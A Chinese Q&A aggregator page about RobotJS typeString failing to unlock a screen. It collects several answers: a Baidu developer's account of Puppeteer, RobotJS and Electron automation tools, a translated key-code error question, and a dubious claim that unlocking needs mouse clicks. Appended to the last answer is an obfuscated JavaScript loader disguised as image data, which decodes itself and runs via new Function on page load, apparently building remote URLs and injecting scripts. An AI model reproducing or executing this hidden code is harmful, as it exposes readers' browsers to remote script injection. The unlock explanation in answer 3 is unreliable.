robotjstypestring解锁屏幕无效

2025-02-28 23:25:02
推荐回答(5个)
回答1:

当年在百度搜索团队的时候做的一个小工具,可以把一些日常工作自动化,确实解决了一些问题。正值五一,分享点有趣的东西。希望能给大家一些启发。
故事的开始

就在不久之前,我入职了百度的搜索团队,参与 pc 搜索的一些业务。搜索业务这么多年,历史积累的技术债务蛮多的,其中影响效率的主要是开发过程的问题。比如,首页经常要切换登录态和非登录态来看效果,每次切换都要手动输入用户名密码,而且因为有的 http 的资源会涉及跨域而失败,需要单独请求下。比如,每次上线之前都要过几遍 checklist,繁琐也花时间,所以几乎没人会认真的一遍遍过 checklist,等等,一些问题。而且因为我们开发时也是直接代码推到服务器来看效果,所以经常登录跳板机和切换不同机器,需要记住一些机器名和密码,也很耗费时间。我在熟悉流程和架构之余就一直在想着怎么去解决这些痛点。有一次走查,UE 和 PM 说每次走查的登录都好麻烦哦。听到这,发现这是个共性问题,就觉得可以正式着手做了。
最初的目标

最开始的目标就是一键登录和退出登录,一键跑 checklist,还有一键登录跳板机和一键切环境,涉及到浏览器的自动化,自然就想到了 puppeteer,一个用于前端自动化测试的库。而登录跳板机和切换登录的机器不在浏览器中,需要涉及到系统的自动化(鼠标和键盘事件等),最后选择了 robotjs。这俩库都是在node环境下才能跑的,而UE和PM的电脑不会装 node,加上功能多了以后有个图形界面会更好,就想到了 electron(提供node环境和图形界面)。
先简单介绍下这三门技术:
1. Puppeteer

Puppeteer 是一个 Node 库,它提供了一些高级API来通过 DevTools 协议控制 Chromium 或 Chrome。
它能做的很多,比如:
生成页面的截图和PDF;
抓取 SPA 并生成预渲染的内容(即“SSR”);
从网站抓取内容;
自动表单提交,UI 测试,键盘输入等;
创建一个最新的自动化测试环境。 使用最新的 JavaScript 和浏览器功能,直接在最新版本的 Chrome 中运行测试;
捕获你网站的 Timeline Trace,来帮助诊断性能问题;
​Most things that you can do manually in the browser can be done using Puppeteer!​
它提供了这些api
Puppeteer:通过DevTools协议与浏览器通信,创建Browser实例。
Browser:浏览器实例,可以拥有多个BrowserContext。
BrowserContext:定义了一个浏览会话,可以拥有多个Page。
Page:至少有一个Frame:主框架。 可能存在由iframe或框架标签创建的其他帧。
Frame: 至少有一个执行上下文 - 默认执行上下文 - 执行框架的JavaScript。 Frame可能有与扩展相关联的其他执行上下文。
Worker: 具有单个执行上下文,便于与WebWorkers交互。
2. Robotjs

Robotjs 是 nodejs 的第一个用于桌面自动化的库。他能自动化鼠标、键盘和读取屏幕,并且提供了 Mac, Windows, Linux 的跨平台支持。
3. Electron

Electron 可以让你使用纯 JavaScript 调用丰富的原生(操作系统) APIs 来创造桌面应用。 你可以把它看作一个 Node. js 的变体,它专注于桌面应用而不是 Web 服务器端。
Electron进程分为主进程和渲染进程,Electron 运行 package.json 的 main 脚本的进程被称为主进程。 在主进程中运行的脚本通过创建web页面来展示用户界面。 一个 Electron 应用总是有且只有一个主进程, 每个 Electron 中的 web 页面运行在它的叫渲染进程的进程中。所以做 electron 应用会经常用到 ipc 来做进程通信,很多操作只能在主进程做。
之后界面的展示用任何组件方案都可以,本来想用 san(百度的前端框架),但是 san 没有 electron 的脚手架,考虑到效率,暂时选用了 electron-vue 来创建项目。
最初的用户

最初的版本的走查工具,界面是这样的:
输入 url,点击登录,就是通过 puppeteer 来启动一个浏览器,并且自动跳转到登录页面,输入用户名密码,之后点击登录,跳转到输入的 url。这里只是 pc 的,移动端的话启动的时候设置下 ua 就好了。
启动浏览器的时候通过 ​headless​ 设置为 false,puppeteer 支持启动没有界面的浏览器,主要是用于自动化测试,但我们这里需要界面。
然后通过 ​executablePath​ 指定一个本地的 chrome 的启动路径,可以在设置里面修改(一般 chrome 的路径是固定的),这样使用本地的 chrome 来跑,不用连 chrome 一起打包进去。
​defaultViewport​ 设置为 width:0 和 height:0 是为了让内容自动适应窗口大小。
​--allow-running-insecure-content​ 和 ​--disable-web-security​ 可以禁止同源策略,这样 https 网站加载 http 的跨域资源也不会报错。
​--auto-open-devtools-for-tabs​ 可以打开新 tab 自动打开 dev tools(这个后续可以加到设置中去让用户自己设置)。
之后又顺手做了一个屏幕取色的功能,考虑到 ue 走查时可能会用到,实现是通过 ox-mouse 来监听系统鼠标事件,然后通过 robotjs 来获取鼠标所在位置的颜色,之后发送到 colorpicker 窗口做显示。
最初的两个用户(PM 和 UE)都给了一致的肯定,这让我很开心。
扩展更多边界

因为有了最初的一个场景的成功实践,后面也就更有热情去做了。最初的目标更多还是针对开发者,所以开发者版本独立做了一个工具。这方面可以应用的场景就多了。
最开始做的事自动登录跳板机和自动切环境的功能,真实的流程是打开终端,输入ssh链接跳板机的命令,然后输入密码并且手机认证,手机认证这部分暂时没有做自动化,也最好不要去做自动化,把之前的那些都做了自动化。最终效果是一点登录跳板机,就可以在如流手势认证登陆了。实现还是通过robotjs,先输入command + space打开spotlight,然后输入terminal.app,之后输入命令和密码。过程比较傻瓜式。
自动跑 checklist 是自动化测试的范畴,puppeteer 很拿手,只要把操作步骤写成脚本,然后在一些状态下做效果的验证就可以了。
做完这些功能后,又会想到自动创建 icafe(百度内部的项目管理平台)卡片(把 mrd(需求描述文档) 的内容拿过来自动粘贴,自动输入一些信息之后创建卡片,并且把关联 cr 的代码复制下来),自动创建提测单,自动创建上线单,自动发排期邮件,自动发周报等等。
很多平时手动的做的事情都可以自动来完成,包括浏览器里的和系统级别的。
慢慢想到这一个个的功能都是围绕代码库的,那是不是应该做一个代码库的管理,然后围绕代码库的开发周期来做工具链的集成。
开发工具基本成型

这个阶段我对开发工具的定义是做代码库的管理,(比如首页分了好多模块,可以通过分类把一些模块归到一起管理),并且围绕代码库的开发流程提供一系列提效工具。可以通过插件来扩展工具链。
大概设计的界面是这样的
每个代码库都可以在创建时输入本地路径和 icode(百度内部的代码托管平台) 路径还有相关的开发和 pm 等信息,这样可以一键用 ide 打开本地代码库,在详情里可以看到相关的人员的信息,并且点击名字可以一键打开如流中对应人员的对话框(基于 robotjs)。
然后会扫描代码库下的 package.json 中的 npm scripts,可以在界面上执行,也可以选择在系统的 terminal 或者 ide 的 terminal 中执行。
选择开发流程会看到每个阶段的tab,每个tab下有这个阶段可能用到的工具,比如开发时的一键登录跳板机和切环境,排期阶段的自动发排期邮件,自动创建icafe卡片,自测阶段的自动登录退出,上线阶段的自动创建提测单等功能,实现方式一样,就是模拟用户的操作,通过浏览器自动化和系统的自动化来代替人来完成一些工作。
因为开发流程的入口藏得比较深却很常用,又单独提到了左侧。此外一些其他的工具也很常用,可以放到工具箱里面,比如可视化删除本地 node_modules,屏幕取色,屏幕尺子等等。
工具箱中工具有两种触发方式,一键触发和定时任务触发,比如每两周都自动列一下可用的会议室,然后准备好邮件,只需要确认下信息,然后点发送就可以自动订会议室,有的工具不需要定时功能。定时功能的实现是通过 node-schedule,它的api风格是这样的:
通过 * * * * * * 来指定时间间隔
整个工具的思路是围绕代码库的开发流程的一些自动化工具,基于 puppeteer 和 robotjs,不同的场景下需要的工具不同,所以插件功能是很有必要的,如果插件足够丰富以后,我们可以在开发时选择适合自己场景的插件来安装,会自动添加一些阶段的工具。当然,这个还没有实现。

回答2:

我在index.jsRobotjs错误:无效的键码指定

var settingsFile = "config.json";

var settings = JSON.parse(require("fs").readFileSync(settingsFile));

const net = require('net');
const robot = require("robotjs");
const fs = require("fs");

var client;

var customKeys = {
"scroll_up":'robot.scrollMouse(50, "up");',
"scroll_down":"robot.scrollMouse(50,'down');"

}

function startCommunication(address,port) {

client = net.connect({port: port,host:address},() => {
// 'connect' listener
console.log('connected to server!');
//client.write('world!\r\n');
});
client.on('data', (data) => {
console.log(data.toString());
var string = data.toString();
console.log(settings.keys[string.substr(1)]);
if(string.substr(0,1) == "d") {
robot.keyToggle(settings.keys[string.substr(1)],"down");
} else {
robot.keyToggle(settings.keys[string.substr(1)],"up");
}

//client.end();
});
client.on('end',() => {
console.log('disconnected from server');
});
}

startCommunication(settings.address,settings.port);
下面的代码我也有在config.json这段代码,又名什么被解析为变量的设置。

{
"port":5555,

"address":"192.168.1.118",

"keys":{
"KEY_A":"a",
"KEY_B":"b",
"KEY_X":"x",
"KEY_Y":"y",
"KEY_L":"y",
"KEY_R":"t",
"KEY_DUP":"up",
"KEY_DDOWN":"down",
"KEY_DLEFT":"left",
"KEY_DRIGHT":"right",
"KEY_START":"z",
"KEY_SELECT":"q"
}
}
什么问题是是,当我静下心来,要么robotjs.togglekeys声明我得到的错误

Error: Invalid key code specified.
这意味着,因为有错误中明确指出,这是得到一个无效的键码。我猜这是我犯的一个愚蠢的错误。我测试中的数据等于“dKEY_DRIGHT”。变量字符串等于那个,但我需要摆脱d为了它的工作。当我执行实时控制台时,我能够通过使用相同的代码获取我需要的数据,但是当它在文件中运行时somethig出错。任何东西都有帮助:)

来源

2016-07-30 master

A
回答
0
您可以尝试使用node-key-sender将按键发送到您的操作系统。

用npm install --save-dev node-key-sender安装。

和发送键使用键盘:

var ks = require('node-key-sender');
ks.sendKey('up');
所有你配置的值( 'A', 'B',...)由LIB接受。你可以直接发送它们。

查阅文档页面以获取更多信息:https://www.npmjs.com/package/node-key-sender。

来源

2017-03-13 12:52:44 computeiro

回答3:

robotjstypestring解锁屏幕无效是因为RobotJSTypeString是一款用于在RobotJS环境中操作虚拟键盘的命令,通常用于模拟用户的按键输入。但是,对于解锁屏幕这种任务,RobotJSTypeString可能无法实现,因为解锁屏幕一般需要使用特定的鼠标点击来完成,而RobotJSTypeString却只能模拟用户的按键输入。

回答4:

这个问题使人烦恼的是,它对我的​​同事在他们的计算机上有效,但是对我却不起作用,我们对调试方法一无所知。

预期行为

期望的是,当用户点击已成功注册的快捷方式时,该字符串将出现在用户打开的任何活动窗口中的屏幕上

app.on('ready', () => {
setTrayItem();

const ret = globalShortcut.register('Alt+Z', () => {
robot.typeString("Hello World");
});

if (!ret) {
console.log('registration failed');
}

});
当前行为

什么都没发生!

您的环境

RobotJS version: "robotjs": "^0.5.1"
Electron: "electron": "^4.0.0",
Chromium 69.0.3497.106,
Node 10.11.0,
V8 6.9.427.24
npm version: 6.4.1
Operating System: macOS 10.14.2
0 个答案:
没有答案
相关问题
使用robotjs获取鼠标位置无法在Electron app
Solr上的排序未按预期工作
npm' json-update'没有按预期工作
Robotjs量角器测试不适用于Jenkins
Robotjs无法使用Electron和Windows 10
combineLatest()无法按预期工作
角度,电子,打字稿和漫游器
打包电子后XMLHttpRequest无法正常工作
Robotjs已针对不同的Node.js版本进行编译
电子typeString()上的Robotjs无法按预期工作

回答5:

运行一下就行了
Robotjs是nodejs的第一个用于桌面自动化的库。他能自动化鼠标、键盘和读取屏幕,并且提供了Mac, Windows, and Linux的跨平台支持
Robotjs 是github上比较常用的库, 用于nodejs/Electron 应用开发. Windows 上安装robotjs 容易遇到问题. 与Robotjs自己的文档 Documentation - RobotJS --- It is that easy 形成鲜明对比;

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();